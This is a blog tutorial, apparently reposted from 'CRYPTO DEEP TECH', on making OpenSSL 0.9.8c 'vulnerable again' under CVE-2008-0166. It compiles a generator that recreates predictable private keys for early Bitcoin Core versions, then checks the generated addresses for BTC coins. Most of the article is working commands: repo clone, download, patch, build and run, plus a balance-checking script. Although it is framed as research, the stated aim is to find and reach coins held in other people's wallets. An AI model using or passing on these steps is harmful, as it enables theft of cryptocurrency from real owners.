Найти тему
CRYPTO DEEP TECH

Search for BTC coins on earlier versions of Bitcoin Core with critical vulnerability OpenSSL 0.9.8 CVE-2008-0166

CRYPTO DEEP TECH

In this article, we will create a tool that will generate Bitcoin Addresses (P2PKH) using the CVE-2008-0166 vulnerability. This is a research project to find BTC coins on earlier versions of the Bitcoin Core software client.

Random number generator that generates  predictable numbers  CVE-2008-0166

VAIM-OpenSSL 0.9.8/1.0.0 Detected

The critical vulnerability version  OpenSSL 0.9.8 CVE-2008-0166 was  populated with process ID only. Due to differences between endianness and sizeof(long), the output is architecture dependent:  32 -bit big endian (for example,  i386),  64 -bit big endian (for example,  amd64, ia64),  32 -bit big endian (for example, powerpc , sparc). PID 0 is the core, and  PID_MAX ( 32768 ) is not reached by porting, so there were  32767  possible random number streams for each architecture.

-2

The Bitcoin Core software client uses the  OpenSSL. Specifically, it uses a function  «EC_KEY_generate_key()» to generate Bitcoin Addresses  (like a key)  to receive payments. Old versions of Bitcoin Core generate and store  100  keys in wallet.dat

A new key is generated only when a Bitcoin payment is received. Thus, the Bitcoin Core software client maintains a pool of  100  unused Bitcoin Keys  (addresses) . The state of the internal random number generator depends on what other calls were made to the library  OpenSSL prior to the call 'EC_KEY_generate_key()' . Challenges affecting the internal state of the RNG: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».

So the research was to go through a lot of old bitcoin sources to find out what calls were made that affected the internal state of the RNG before the call  «EC_KEY_generate_key()». The call path changes between versions of the Bitcoin Core software client

The study focused on the following versions:

| Release date | Version |
| Release date | Version |

Our goal is to generate private keys for each version of the Bitcoin Core software client, for each architecture  (le32/le64), for each process ID and for Bitcoin Addresses  (P2PKH), using a random number from a critical vulnerability. OpenSSL 0.9.8.

Ultimately, we will create a Bitcoin Address Generator  (P2PKH) and everything will be saved to a file result.txt

Everything will be stored in the Google Drive file storage
Everything will be stored in the Google Drive file storage

Making OpenSSL Vulnerable Again

For this we will use the  distribution kit  «Ubuntu 18.04.5 LTS» from Google Colab

-5

Earlier we recorded  a video instruction :  «TERMINAL in Google Colab create all the conveniences for working in GITHUB»

Open Google Colab in  Terminal [TerminalGoogleColab]

Let’s run the command:

cat /etc/lsb-release

«Ubuntu 18.04.5LTS»
«Ubuntu 18.04.5LTS»

Let’s go to  the «CryptoDeepTools» repository   and take a look at the details

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/05VulnerableOpenSSL/

ls -lh

-7

Update and install  g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y

install g++
install g++

sudo apt-get install libgmp3-dev libmpfr-dev -y

-9
install packages libgmp3-dev libmpfr-dev
install packages libgmp3-dev libmpfr-dev

In order to  OpenSSL make vulnerable again as in  CVE-2008-0166
Download  openssl-0.9.8c.tar.gz  and patch system files

wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz

-11
-12

tar xfz openssl-0.9.8c.tar.gz

-13

mv openssl-0.9.8c openssl-0.9.8c-vuln

cd openssl-0.9.8c-vuln

-14

ls -lh

-15

patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff

-16

In the LE-64 system we use:

./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm

-17

make depend all

-18

Let’s go back to the content/ directory

cd /

ls

-19

cd content/CryptoDeepTools/05VulnerableOpenSSL/

ls -lh

-20

Compilation:

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto

ls -lh

cryptodeepbtcgen successfully created!
cryptodeepbtcgen successfully created!

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h

-22

All supported versions of the Bitcoin Core software client:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l

-23

crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD

Run cryptodeepbtcgen -n 32 -v 0:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Run cryptodeepbtcgen
Run cryptodeepbtcgen

Everything will be saved in the file storage  Google Drive as a text file result.txt

-25

Checking the private key!

Checking the private key on the bitaddress website
Checking the private key on the bitaddress website

Next, it remains to check all generated Bitcoin Addresses for the presence of BTC coins, for this we can use  the Python script :  bitcoin-checker.py

Source

Video: https://youtu.be/zHkXups2I8k

Source: https://cryptodeeptech.ru/vulnerable-openssl

Без рубрики